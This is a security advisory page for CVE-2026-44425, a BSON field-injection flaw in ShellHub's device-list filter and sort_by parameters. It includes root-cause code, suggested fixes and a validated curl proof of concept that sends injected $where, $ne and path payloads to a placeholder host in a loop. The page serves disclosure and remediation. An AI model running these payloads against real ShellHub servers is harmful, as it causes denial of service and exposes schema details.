CVE-2026-44425 — shellhub
MEDIUMCVE-2026-44425 is a medium-severity (CVSS 5.4) Improper Input Validation vulnerability in github.com/shellhub-io/shellhub. A fix is available for github.com/shellhub-io/shellhub — see the affected versions and patch details below.
ShellHub: Crash-DoS via field injection in filter and sort-by parameters
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44425.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/shellhub-io/shellhubReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:
- The
namefield of each filter property in the base64-encodedfilterquery parameter. - The
sort_byquery parameter.
Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.
Severity
CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
Affected versions
ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).
Root cause
Vector 1 — Filter field name
api/store/mongo/query-options.go:140:
conditions = append(conditions, bson.M{param.Name: property})
param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.
Vector 2 — Sort-by field
Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.
Additional observation
fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.
func fromContains(value interface{}) (bson.M, error) {
switch value.(type) {
case string:
return bson.M{"$regex": value, "$options": "i"}, nil
Proof of concept (validated live against v0.24.1)
TOKEN=<valid-user-jwt>
# Helper: base64-encode a filter payload
encode_filter() {
python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
}
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200
F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 1a: Mongo operator as field name
F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1b: nested object as value
F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1c: pipeline-computed field as filter name
F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 2a: Mongo operator as sort field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2b: path containing $
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2c: oversized sort field (no length validation)
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2d: non-indexable internal field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Repeat to demonstrate no rate limiting ---
for i in $(seq 1 20); do
curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500
Confirmed field values that trigger 500:
- Filter name:
$where,$regex,$or,$ne,remote_addr,tenant_id,namespace, any path containing$after a. - Sort-by:
$where,_id.$$$,tenant_id,password.hash, overly long strings
Observed response characteristics:
HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id> ← logged as error in backend
Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.
Impact
- Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
- Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
- Resource exhaustion (potential): user-controlled
$regexvalue on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments). - Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.
Suggested fix
-
Allowlist filter and sort field names per collection. Add a whitelist of allowed
param.Nameandsort_byvalues for each model exposed via filters (device,session, etc.). Reject anything else with HTTP 400. -
Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:
- start with
$ - contain
$after a. - contain characters outside
[A-Za-z0-9_.] - exceed a reasonable length (e.g., 64 characters)
- start with
-
Validate
valueshape. Forcontains/eq/neoperators, reject non-primitive values (objects, arrays of objects). -
Catch aggregation errors. In
api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500. -
Limit regex complexity. In
fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+,(...)*,(.+)+, etc.) to mitigate ReDoS.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/shellhub-io/shellhub | all versions | 0.24.2go get github.com/shellhub-io/shellhub@v0.24.2 |
Affected Products
shellhubshellhubDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/shellhub-io/shellhub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/shellhub-io/shellhub to 0.24.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44425 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2026-44425 in your dependencies?
Find it across Go, including transitive dependencies.